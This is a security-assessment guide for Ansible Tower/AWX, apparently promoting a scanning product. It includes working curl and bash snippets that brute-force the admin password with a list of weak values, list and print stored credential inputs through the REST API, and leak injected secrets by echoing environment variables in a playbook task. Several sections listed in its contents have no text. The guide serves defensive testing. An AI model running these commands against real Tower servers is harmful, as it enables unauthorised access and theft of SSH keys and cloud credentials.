Ansible Tower/AWX Security Testing: Credential Exposure, Job Template Injection, and API Authentication Bypass

Red Hat Ansible Tower (and its open-source upstream AWX) is the leading enterprise IT automation platform, managing configuration and deployment across thousands of servers. Its security surface is significant: the Tower credential store holds SSH private keys, become passwords, vault encryption keys, and cloud API credentials — users with view access to credentials can trigger jobs that use them, and overly broad RBAC roles expose credentials across teams; job template survey variables pass user input to playbooks without sanitization, enabling command injection when playbooks use {{ survey_variable }} in shell commands; AWX ships with a default admin account whose password must be set during setup but is often set to weak values; custom credential type injectors write credential values into playbook environment or files where they can be read by any task in the job; and Tower's machine credential allows SSH access to all managed hosts — gaining Tower admin access is functionally equivalent to root on every managed server. This guide covers systematic Tower/AWX security assessment.

Table of Contents

  1. Tower/AWX Discovery and API Testing
  2. Credential Store Exposure
  3. Job Template Survey Variable Injection
  4. RBAC Misconfiguration Testing
  5. Secret Extraction via Playbook Output
  6. Tower/AWX Security Hardening

Tower/AWX Discovery and API Testing

# Ansible Tower/AWX default ports: 80 (HTTP redirect), 443 (HTTPS)
# AWX REST API at /api/v2/

# Check Tower/AWX API version (no auth required)
curl -s https://tower.example.com/api/v2/ 2>/dev/null | python3 -m json.tool | head -10
# Returns available API endpoints

# Test default admin credentials
curl -s -u "admin:password" https://tower.example.com/api/v2/me/ 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
if 'id' in data:
    print(f\"Authenticated as: {data.get('username','?')} (superuser={data.get('is_superuser',False)})\")
else:
    print('Auth failed:', data.get('detail','?'))
" 2>/dev/null

# Common weak passwords to test for admin:
PASSWORDS=("password" "admin" "tower" "ansible" "changeme" "secret" "admin123" "awx")
for PASS in "${PASSWORDS[@]}"; do
  HTTP=$(curl -s -o /dev/null -w "%{http_code}" -u "admin:${PASS}" \
    https://tower.example.com/api/v2/me/ 2>/dev/null)
  if [ "$HTTP" = "200" ]; then
    echo "SUCCESS: admin:${PASS}"
    break
  fi
done

Credential Store Exposure

# Tower stores credentials with the private key data encrypted, but the REST API
# can reveal metadata and, in some cases, the credential values themselves

# List all credentials (requires auth)
curl -s -u "admin:${PASS}" "https://tower.example.com/api/v2/credentials/?page_size=50" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
creds = data.get('results', [])
print(f'Credentials: {data.get(\"count\",0)}')
for c in creds[:20]:
    print(f\"  [{c['id']}] {c.get('name','?')} type={c.get('credential_type_id','?')} org={c.get('organization',{}).get('name','?') if c.get('organization') else 'none'}\")
" 2>/dev/null

# Get specific credential details (SSH keys stored encrypted but inputs may be partially visible)
CRED_ID=1
curl -s -u "admin:${PASS}" "https://tower.example.com/api/v2/credentials/${CRED_ID}/" 2>/dev/null | \
  python3 -c "
import json,sys
cred = json.load(sys.stdin)
print(f\"Name: {cred.get('name','?')}\")
inputs = cred.get('inputs', {})
for k, v in inputs.items():
    print(f\"  {k}: {str(v)[:100]}\")
" 2>/dev/null

# Trigger a job that uses the credential — the credential is injected into the execution environment
# A rogue playbook task can read the injected credential from the environment
# Example: if credential injects SSH_PRIVATE_KEY env var, a debug task reveals it

Tower/AWX Security Hardening

Ansible Tower/AWX Security Hardening Checklist:
Security TestMethodRisk
Weak admin passwordTry admin/password, admin/admin, admin/tower — check /api/v2/me/ for 200 responseCritical
Credential store exposes SSH keys to broad user baseGET /api/v2/credentials/ as non-admin user — list credentials accessible via RBAC roleHigh
Job template survey variable command injectionSubmit survey answer with shell metacharacters; check if playbook echoes unescaped valueHigh
Custom credential injector leaks value in job outputCreate playbook task that runs: echo $INJECTED_VAR — credential value appears in job logHigh
Overly broad organization admin role grants credential accessTest team member RBAC — verify non-admin users cannot view credential detailsHigh
Tower API token in CI/CD env vars or codeSearch repos/CI for TOWER_OAUTH_TOKEN or AWX_TOKEN — token grants full API accessMedium

Automate Ansible Tower/AWX Security Testing

Ironimo tests Ansible Tower and AWX deployments for weak admin credentials on initial setup, credential store exposure via REST API to insufficiently-scoped RBAC roles, job template survey variable command injection via unsanitized playbook variable usage, custom credential type injector leakage via job output log, over-broad organization admin role assignments granting cross-team credential access, and Tower OAuth tokens exposed in CI/CD pipeline environment variables.

Start free scan